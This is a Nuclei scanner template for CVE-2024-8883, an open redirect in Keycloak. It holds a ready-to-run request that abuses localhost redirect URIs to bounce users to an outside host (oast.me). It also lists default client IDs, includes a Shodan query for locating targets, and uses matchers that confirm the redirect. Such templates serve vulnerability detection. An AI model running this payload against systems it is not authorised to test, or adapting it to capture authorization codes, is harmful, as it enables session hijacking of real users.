62 lines
1.9 KiB
YAML
62 lines
1.9 KiB
YAML
id: CVE-2024-8883
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info:
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name: Keycloak - Open Redirect
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author: iamnoooob,rootxharsh,pdresearch
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severity: medium
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description: |
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A misconfiguration flaw was found in Keycloak. This issue can allow an attacker to redirect users to an arbitrary URL if a 'Valid Redirect URI' is set to http://localhost or http://127.0.0.1, enabling sensitive information such as authorization codes to be exposed to the attacker, potentially leading to session hijacking.
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reference:
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- https://github.com/advisories/GHSA-vvf8-2h68-9475
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- https://nvd.nist.gov/vuln/detail/CVE-2024-8883
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N
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cvss-score: 6.8
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cve-id: CVE-2024-8883
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cwe-id: CWE-601
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metadata:
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max-request: 1
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verified: true
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shodan-query: title:"keycloak"
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tags: cve,cve2024,keycloak,redirect
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variables:
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redirect_uri: "oast.me"
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http:
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- raw:
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- |
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GET /realms/master/protocol/openid-connect/auth?client_id={{client_id}}&redirect_uri={{redir_host}}:80@{{redirect_uri}} HTTP/1.1
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Host: {{Hostname}}
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payloads:
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redir_host:
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- http://localhost
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- http://127.0.0.1
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- https://localhost
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- https://127.0.0.1
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- http://[::]
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- https://[::]
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client_id:
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- security-admin-console
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- master-realm
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- broker
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- admin-cli
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- account
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- account-console
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attack: clusterbomb
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: regex
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part: header
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regex:
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- 'Location:\s+https?://(localhost|127.0.0.1|\[::\]):\d*@oast\.me\?'
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- type: status
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status:
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- 302
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# digest: 4b0a00483046022100b08c32d85289a205acf15c0132b9a40450ad9514a4a5d8e852a60aa0f1bf4204022100ca2767cfd9629a0066be8b82ccba7401aea0eb1a462b9f9c090bd9acdfaa908c:922c64590222798bb761d5b6d8e72950 |